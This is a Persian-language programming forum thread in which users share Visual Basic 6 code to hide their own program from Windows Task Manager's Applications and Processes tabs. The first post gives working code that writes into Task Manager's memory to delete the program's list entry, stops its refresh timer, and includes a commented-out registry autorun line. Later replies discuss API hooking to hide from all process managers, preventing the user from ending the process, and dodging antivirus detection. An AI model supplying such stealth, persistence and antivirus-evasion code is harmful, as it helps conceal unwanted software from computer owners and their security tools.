ايران ويج

نسخه‌ی کامل: مخفی شدن برنامه هم از زبانه ی Process و هم از زبانه ی Application
شما در حال مشاهده‌ی نسخه‌ی متنی این صفحه می‌باشید. مشاهده‌ی نسخه‌ی کامل با قالب بندی مناسب.
صفحه‌ها: 1 2
سلام دوستان
کد زیر:
کد:
Private Type bkh
flag As Long
psz As Long
lParam As Long
pt As Long
vkDirection As Long
End Type
Private Declare Function VirtualAllocEx Lib "kernel32.dll" (ByVal hProcess As Long, ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetWindowThreadProcessId Lib "user32.dll" (ByVal hwnd As Long, ByRef lpdwProcessId As Long) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, ByVal lpBaseAddress As Long, ByVal lpBuffer As Long, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function VirtualFreeEx Lib "kernel32.dll" (ByVal hProcess As Long, ByRef lpAddress As Any, ByRef dwSize As Long, ByVal dwFreeType As Long) As Long
Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
Private Declare Function KillTimer Lib "user32.dll" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function FindWindowEx Lib "user32.dll" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long


Private Sub Hide_Process(Name As String)
Dim pName As Long
Dim pType As Long
Dim l As Long
Dim Tid As Long
Dim hTid As Long
Dim pid As Long
Dim h As Long
Dim i As Long
Dim hProcess As Long
Dim f As bkh
Dim s As String
Dim bkh() As Byte
h = FindWindow(vbNullString, "Windows Task Manager")
KillTimer h, 0
h = FindWindowEx(h, 0, "#32770", vbNullString)
h = FindWindowEx(h, 0, "SysListView32", vbNullString)
If h = 0 Then Exit Sub
f.flag = 8 Or &H20
Call GetWindowThreadProcessId(h, pid)
hProcess = OpenProcess(1082, 0, pid)
bkh = StrConv(Name, vbFromUnicode)
pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
f.psz = pName
pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
i = SendMessage(h, &H1000 + 13, 0, pType)
If i <> -1 Then SendMessage h, &H1000 + 8, i, 0
VirtualFreeEx hProcess, pType, Len(f), &H8000
VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
End Sub

Private Sub Form_Load()
'Hide program from windows task manager: >>
Set Reg = CreateObject("wscript.shell")
'Reg.RegWrite HKEY_LOCAL_MACHINE \ SOFTWARE \ MICROSOFT \ WINDOWS \ CURRENTVERSION \ RUN \ "&" \ App.EXEName, App.Path & "\" & App.EXEName & ".exe"
App.TaskVisible = False '<<

End Sub

Private Sub Timer1_Timer()
Hide_Process CStr(App.EXEName & ".exe")
End Sub
این کد برای Hide کردن(البته Hide کردن که چه عرض کنم!!!) برنامه از زبانه های applications و Process از برنامه ی Windows Task manager میباشد
ولی اینکارو نمیکنه، درواقع این کد برنامه ی مارو از زبانه های applicatin و Process ، مخفی نمیکنه بلکه برنامه ی Windows Task Manager رو قفل میکنه و کاربر میفهمه که سیستمش یا ویروسی شده یا یه مشکلی داره.

حالا این کد:
کد:
Set Reg = CreateObject("wscript.shell")
'Reg.RegWrite HKEY_LOCAL_MACHINE \ SOFTWARE \ MICROSOFT \ WINDOWS \ CURRENTVERSION \ RUN \ "&" \ App.EXEName, App.Path & "\" & App.EXEName & ".exe"
App.TaskVisible = False
این کد هم برنامه رو فقط از زبانه ی Application مخفی میکنه و برنامه ی ما همچنان در زبانه ی Process تابلوئه!!!
----
خوب حالا چیکار کنیم که برنامه مثه حالت اول و دوم عمل نکنه،
بلکه برنامه رو هم از زبانه ی Application و هم از زبانه ی Process مخفی کنه،
سلام.
اون کد تسک منیجر رو قفل نمیکنه. فقط تایمرش رو خاموش میکنه. دستور KillTimer باعث میشه تسک منیجر دیگه ریفرش نشه و به قول شما کاربر میفهمه.

یه کدی تو سایت بود که هندل پروسس لیست رو میگرفت و پروسه مورد نظر رو از لیست حذف میکرد. چون تسک منیجر هر ثانیه ریفرش میشه این کد هم هر ثانیه باید پروسه ما رو از لیست خارج میکرد که باعث میشد یه جورایی لیست بپره که اینم میتونه باعث شه کاربر بفهمه.
اما از روش بالا بهتره.

یادمه 5 6 سال پیش یه روشی بود که فکر میکنم PID پروسه رو میگرفت و اونو تغییر میداد و این کار باعث میشد از لیست حذف بشه.
اما همون موقع آنتی ویروس ها جلوش رو میگرفتن. یه مشکلیم که داشت این بود که پروسه رو که میبستی سیستم ریست میشد.

با هوک کردن هم امکان پذیره که باز آنتی ها جلوش رو میگیرن.
این هم یه سورس عالی برای مخفی کردن برنامه، هم از زبانه ی Process و هم از زبانه ی Application
Rolleyes
فط باید ok رو بزنید تا مخفی بشه، اگه هم خواستید میتونید سورس ok رو در form_load قرار بدیدWink
سلام.
این روش همون روش قدیمیه که بالا گفتم. هندل پروسه مورد نظر رو میگیره و از لیست پروسه ها حذف میکنه.

killtimer تسک منیجر تو ویندوز 7 کار نکرد.

در ضمن به راحتی با دستورات داس ( دستور Tasklist ) میشه اسم پروسه مخفی رو به دست اورد. یا اصلا با یه پروسس منیجر متفرقه مثل برنامه ای که مبین جان نوشته بود میشه اسم پروسه مخفی رو به دست اورد.
آره درست میگی،
آبا اصلا راهی هست که بتونیم برنامه رو از همه ی پروسس منیجرها مخفی کرد؟
یا اینکه باید به فکر یه راه دیگه ای بود؟ مثلا اینکه کاربر نتونه پروسه ی مارو endTask بکنه،
یا روشهای دیگه...
(۲۲-اسفند-۱۳۹۰, ۱۱:۳۳:۳۳)RAMA2009 نوشته است: [ -> ]آره درست میگی،
آبا اصلا راهی هست که بتونیم برنامه رو از همه ی پروسس منیجرها مخفی کرد؟
یا اینکه باید به فکر یه راه دیگه ای بود؟ مثلا اینکه کاربر نتونه پروسه ی مارو endTask بکنه،
یا روشهای دیگه...
برای این کار باید یک سری توابع Api رو هوک کنی مثلZwQuerySystemInformation

میشه بیشتر توضیح بدید و راهنمایی کنید؟
هوک کردن روشی هست که باعث میشه پارامترها قبل از ارسال به تابع اصلی به تابع شما ارسال بشه و تابع شما بعد از چک کردن محتویات خروجی مناسب رو به جای تابع اصلی به برنامه برگشت میده
چند روش هوک وجود داره مثل
IAT hook
که با تغییر ادرس تابع در IAT این کارو انجام میده شما برای انجام این کار بایستی به ساختار فایلهای exe اشنایی کامل داشته باشین
از کجا میتونم این مطالب رو جمع آوری کنم و یاد بگیرم؟
منبع فارسی شاید در حد توضیحات مختصر رو نت پیدا کنی ولی باید انگلیسی مطلب جمع کنی و درکش کنی
یه کتاب هست ساختار فایلهای pe مال تیم 4tare هست برای شروع خیلی خوبه
من این کد ها رو تو یه پروژه خالی که میزنم انتی ویروسم گیر نمیده ولی تو برنامم که استفاده میکنم به اون خطش که از اپلیکیشن مخفی میشه گیر میده.یه کدی میخوام که از اپلیکیشن مخفی کنه و انتی هم گیر نده یا اینکه از اپلیکیشن نشه بست مرسی.
یه سوال دیگه.چطور میشه فهمید که کدوم انتی ویروسا به برنامم گیر میدن؟
صفحه‌ها: 1 2